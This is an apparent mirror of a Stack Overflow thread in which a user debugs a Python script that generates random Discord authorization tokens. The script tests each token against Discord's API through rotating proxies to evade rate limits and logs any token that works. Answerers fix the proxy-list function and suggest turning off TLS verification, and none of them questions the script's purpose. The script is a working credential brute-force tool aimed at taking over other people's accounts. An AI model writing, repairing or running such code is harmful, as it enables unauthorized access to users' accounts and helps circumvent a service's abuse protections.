【问题标题】:Error: proxy = next(proxy_pool) StopIteration错误:proxy = next(proxy_pool) StopIteration
【发布时间】:2022-01-26 20:39:45
【问题描述】:

我正在尝试运行一个脚本,它有一个标准的代理 URL,可以让脚本正常运行。添加自己的代理 URL 后,我收到错误 Error: proxy = next(proxy_pool) StopIteration。我的 URL 在另一个文件中,如果需要,我也可以链接它。 代码如下,如果有人可以提供帮助,那就太好了。

import string
import os
import requests
import proxygen
from itertools import cycle
import base64
from random import randint

N = input("How many tokens : ")
count = 0
current_path = os.path.dirname(os.path.realpath(__file__))
url = "https://discordapp.com/api/v6/users/@me/library"

while(int(count) < int(N)):
    tokens = []
    base64_string = "=="
    while(base64_string.find("==") != -1):
        sample_string = str(randint(000000000000000000, 999999999999999999))
        sample_string_bytes = sample_string.encode("ascii")
        base64_bytes = base64.b64encode(sample_string_bytes)
        base64_string = base64_bytes.decode("ascii")
    else:
        token = base64_string+"."+random.choice(string.ascii_letters).upper()+''.join(random.choice(string.ascii_letters + string.digits)
                                                                                      for _ in range(5))+"."+''.join(random.choice(string.ascii_letters + string.digits) for _ in range(27))
        count += 1
        tokens.append(token)
    proxies = proxygen.get_proxies()
    proxy_pool = cycle(proxies)

    for token in tokens:
        proxy = next(proxy_pool)
        header = {
            "Content-Type": "application/json",
            "authorization": token
        }
        try:
            r = requests.get(url, headers=header, proxies={'https':"http://"+proxy})
            print(r.text)
            print(token)
            if r.status_code == 200:
                print(u"\u001b[32;1m[+] Token Works!\u001b[0m")
                f = open(current_path+"/"+"workingtokens.txt", "a")
                f.write(token+"\n")
            elif "rate limited." in r.text:
                print("[-] You are being rate limited.")
            else:
                print(u"\u001b[31m[-] Invalid Token.\u001b[0m")
        except requests.exceptions.ProxyError:
            print("BAD PROXY")
    tokens.remove(token)
 ``

【问题讨论】:

  • 看起来proxies 是空的。
  • 我不确定这是怎么回事,因为这是我的代理脚本,我的 URL 转储了一个列表。我将在下面添加代码
  • from lxml.html import fromstring import requests import traceback def get_proxies(): url = 'proxy.link/list/get/5691264d3b19a600feef69dc3a27368d' response = requests.get(url) parser = fromstring(response.text) proxies = set( ) for i in parser.xpath('//tbody/tr')[:10]: if i.xpath('.//td[7][contains(text(),"yes")]'): 代理= ":".join([i.xpath('.//td[1]/text()')[0], i.xpath('.//td[2]/text()')[0 ]]) proxies.add(proxy) 返回代理

标签: python proxy bots next


【解决方案1】:

试试这个代码get_proxies()

import requests 
def get_proxies():
  #in your example missing schema
  url = 'https://proxy.link/list/get/5691264d3b19a600feef69dc3a27368d' 
  response = requests.get(url) 
  raw = response.text.split('\n')
  proxies = set(raw) 
  return proxies

输出here

【讨论】:

  • 你让我更近了一步!非常感谢,我现在收到了 BAD PROXY 的垃圾邮件,因为它一定不喜欢我的格式??不确定您是否知道为什么它会吐出错误的代理,但任何帮助都会很棒
  • 当我应该能够达到 10,000+ 时,我也只能选择 100 个代币,所以我的猜测是它不知道我的代理正在轮换,而且它认为他们的代理不好非常感谢跨度>
  • 实际上这似乎是我的错误 requests.exceptions.SSLError: HTTPSConnectionPool(host='discordapp.com', port=443): Max retries exceeded with url: /api/v6/users/@我/库(由 SSLError(SSLEOFError(8,'EOF 违反协议(_ssl.c:1123)')引起))
  • 不推荐将参数verify = None添加到您的请求r = requests.get (url, headers = header, proxies = {'https': "http: //" + proxy}, verify = None)
  • 这看起来像是解决您的问题的方法。 link
猜你喜欢
  • 2021-07-23
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2016-08-05
  • 2016-11-20
  • 2016-08-21
  • 2018-10-08
相关资源
最近更新 更多